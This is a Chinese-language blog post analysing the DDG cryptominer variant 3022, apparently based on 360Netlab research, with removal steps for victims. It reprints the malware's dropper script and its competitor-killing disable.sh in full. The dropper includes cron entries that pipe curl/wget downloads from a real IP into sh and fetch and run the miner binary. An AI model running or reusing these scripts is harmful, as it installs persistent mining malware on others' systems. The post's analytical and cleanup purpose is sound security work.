DDG全家桶之3022

本篇文章主要根据360Netlab新出的DDG分析文档来复现新变种3022,会涉及部分分析和清除的方法,
本篇文章只用于学习交流,为广大受害者提供清除思路 ,请勿用于非法用途,产生一切后果与作者无关
详情请参考文档:https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

一、下载

下载脚本:http://119.9.106.27:8000/i.sh(i.sh名称位ddgs一贯的作风)

样本地址:119.9.106.27:8000/static/3022/



首先下载i.sh脚本分析下里边的内容

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -echo "" > /var/spool/cron/rootecho "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/rootmkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/rootecho "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/rootcd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeableexport PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep lrnbbce || rm -rf lrnbbce
if [ ! -f "lrnbbce" ]; thenwget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O lrnbbce

fi
chmod +x lrnbbce
$(pwd)/lrnbbce || /usr/bin/lrnbbce || /usr/libexec/lrnbbce || /usr/local/bin/lrnbbce || lrnbbce || ./lrnbbce || /tmp/lrnbbceps auxf | grep -v grep | grep lrnbbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep lrnbbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep lrnbbcd | awk '{print $2}' | xargs kill -9`

ddg木马的老套路了,写环境变量、添加到定时任务、下载矿机执行、删除禁用其他挖矿木马(挖矿行业竞争很激烈了)
从3014版本开始增加了云端配置下发 disable.sh 来集中干掉竞争对手,
脚本地址:http://119.9.106.27:8000/static/disable.sh,内容如下

 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinmkdir -p /opt/yilu/work/{xig,xige} /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chmod -w /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64rm -rf /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
touch /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chmod -rw /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chattr +i /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinuxif [ -e "/tmp/gates.lod" ]; thenrm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)kill -9 $(cat /tmp/gates.lod)rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)kill -9 $(cat /tmp/moni.lod)rm -rf /tmp/{gates,moni}.lod
fips auxf | grep -v grep | grep /tmp/thisxxs | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/work/xig/xig | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/mservice | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9

把同类的挖矿进程放到了这个脚本中,来杀掉yilu、以及BillGate家族的gates进程等
不过这都是之前版本的,现在这个更高级了,直接下发二进制程序disable

这个disable的作用可以参考下360的那篇文章:图片来自360netlab博客

 



目前为了阻止其它挖矿程序ddg3022主要做了以下措施
1.修改Hosts文件,阻止其它挖矿程序的下发

2.杀掉其它挖矿程序
3.使用二进制文件disable

二、运行复现

 接下来执行脚本开始我们的复现过程crontab已经写入

CPU已经满载,挖矿程序已经在运行

看下/tmp目录下的样本文件

 

三、清除

老套路,挖矿木马干什么咱们反着来就是了

删除/var/spool/cron/crontab/root,/var/spool/cron/root文件中 echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root

删除/tmp/6Tx3Wq,/tmp/disable,/usr/bin/lrnbbce

kill掉进程:6Tx3Wq,lrnbbce

此时挖矿程序已经清理,后续可以删除被增加的hosts等文件

 

参考文章:

https://blog.netlab.360.com/https-blog-netlab-360-com-a-fast-ddg-3014-analyze/
https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

 

 

转载于:https://www.cnblogs.com/Id3al/p/10706324.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/248143.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js高级第四天

课程回顾: ​ 原型链:由原型构成链状结构,提供成员查找机制 ​ 继承:组合继承:构造函数和原型对象 ​ 属性:调用父构造函数的时候用call改变this指向 ​ 方法:父实例对象赋值给子原型对象&a…

d3.js 制作简单的俄罗斯方块

d3.js是一个不错的可视化框架,同时对于操作dom也是十分方便的。今天我们使用d3.js配合es6的类来制作一个童年小游戏--俄罗斯方块。话不多说先上图片。 1. js tetris类 由于方法拆分的比较细所以加上了一些备注(这不是我的风格!) c…

Flask中路由系统以及蓝图的使用

一、Flask的路由系统 1.app.route()装饰器中的参数 methods:当前URL地址,允许访问的请求方式 app.route("/info", methods["GET", "POST"]) def student_info():stu_id int(request.args["id"])return f"Hello Old b…

js高级第五天

课程回顾: ​ 原型链:由原型构成链状结构,提供成员查找机制 ​ 继承:组合继承:构造函数和原型对象 ​ 属性:调用父构造函数的时候用call改变this指向 ​ 方法:父实例对象赋值给子原型对象&a…

d3.js 制作简单的贪吃蛇

d3.js是一个不错的可视化框架,同时对于操作dom也是十分方便的。今天我们使用d3.js配合es6的类来制作一个童年小游戏–贪吃蛇。话不多说先上图片。 1. js snaker类 class Snaker {constructor() {this._size 30;this._len 3;this._width 900;this._height 690;th…

js高级第六天

Q课程回顾: ​ 闭包:有权访问另外一个函数的局部变量的函数,作用:延伸变量使用范围 ​ mdn,w3c function fn1 () {var n 3;return function () {console.log(n);} }​ 递归:函数调用其本身 function f…

Chrome 75 lazy-loading

Chrome 75 & lazy-loading https://addyosmani.com/blog/lazy-loading/ https://chromestatus.com/feature/5645767347798016 Chrome 75 将默认启用延迟加载功能 自 Chrome 75 起&#xff0c;将原生支持图片的延迟加载&#xff0c;在代码中编写 <img loading"lazy&…

d3.js 实现烟花鲜果

今天在d3.js官网上看到了一个烟花的DEMO&#xff0c;是canvas制作的&#xff0c;于是我想用d3.js来实现它&#xff0c;js代码只有几行。好了废话不多说&#xff0c;先上图。 1 js 类 因为烟花要有下落的效果&#xff0c;所以里面用到了一些简单的数学和物理知识来模拟重力&…

阿里Sentinel控制台源码修改-对接Apollo规则持久化

改造背景 前面我们讲解了如何对接Apollo来持久化限流的规则&#xff0c;对接后可以直接通过Apollo的后台进行规则的修改&#xff0c;推送到各个客户端实时生效。 但还有一个问题就是Sentinel控制台没有对接Apollo&#xff0c;Sentinel控制台本来就可以修改限流的规则&#xff0…

第八节:EF Core连接MySql和Sqlite数据库

。。。 转载于:https://www.cnblogs.com/yaopengfei/p/11507557.html

Flask--WebSocket

flask websocket websocket原理 Socket&#xff1a; FTP - 文件服务 Django Flask Http - TCP: 1.一次请求 一次响应 断开 2.客户端永远处于主动状态 3.服务器永远处于被动状态 4.Http无状态 - 在服务器不保存客户端的信息 5.服务器无法主动找到客户端 1.轮询 客户端向服务器…

jQuery第一天

课程回顾&#xff1a; ​ 正则&#xff1a;匹配字符组合模式; ​ 创建&#xff1a;var reg1 new RegExp(/abc/); var reg2 /abc/; ​ 测试&#xff1a;reg1.test(‘abc’); ​ 特殊字符&#xff1a;元字符 ​ 边界符&#xff1a;^&#xff0c;$ ​ 字符类&#xff1a;[…

Python学习(一)

一、版本&#xff1a; Python2.X /Python3.x 官方宣布2020 年 1 月 1 日&#xff0c; 停止 Python 2 的更新。 Python3.x不兼容Python2.x  二、安装&#xff08;以mac 为例&#xff09; MAC 系统一般都自带有 Python2.x版本 的环境&#xff0c;你也可以在链接 https://www.py…

jQuery—淘宝精品服饰案例

<body><div class"wrapper"><ul id"left"><li><a href"#">女靴</a></li><li><a href"#">雪地靴</a></li><li><a href"#">冬裙</a>&l…

Python机器学习实践:决策树判别汽车金融违约用户

文章发布于公号【数智物语】 &#xff08;ID&#xff1a;decision_engine&#xff09;&#xff0c;关注公号不错过每一篇干货。 转自 | 法纳斯特&#xff08;公众号ID:walker398&#xff09; 作者 | 小F 决策树呈树形结构&#xff0c;是一种基本的回归和分类方法。 决策树模型的…

Python学习(二)语言基础

一、变量与类型 在程序设计中&#xff0c;变量是一种存储数据的载体 整型&#xff1a;Python中可以处理任意大小的整数浮点型&#xff1a;浮点数也就是小数字符串型&#xff1a;字符串是以单引号或双引号括起来的任意文本布尔型&#xff1a;布尔值只有True、False两种值&#x…

jQuery—tab栏切换

<div class"tab"><div class"tab_list"><ul><li class"current">商品介绍</li><li>规格与包装</li><li>售后保障</li><li>商品评价&#xff08;50000&#xff09;</li><l…

MongoDB分组查询,聚合查询,以及复杂查询

准备数据 from pymongo import MongoClient import datetimeclientMongoClient(mongodb://localhost:27017) tableclient[db1][emp]l[ (张飞,male,18,20170301,,7300.33,401,1), #以下是教学部 (张云,male,78,20150302,teacher,1000000.31,401,1), (刘备,male,81,20130305,teac…

Python学习(三)基础

一、函数与模块 定义函数&#xff1a; 函数代码块以 def 关键词开头&#xff0c;后接函数标识符名称和圆括号 ()。任何传入参数和自变量必须放在圆括号中间&#xff0c;圆括号之间可以用于定义参数。函数的第一行语句可以选择性地使用文档字符串—用于存放函数说明。函数内容以…

操作系统原理之I/O设备管理(第六章上半部分)

一、I/O系统的组成 I/O系统不仅包括各种I/O设备&#xff0c;还包括与设备相连的设备控制器&#xff0c;有些系统还配备了专⻔⽤ 于输⼊/输出控制的专⽤计算机&#xff0c;即通道。此外&#xff0c;I/O系统要通过总线与CPU、内存相连。 I/O系统的结构&#xff1a; I/O设备的分类…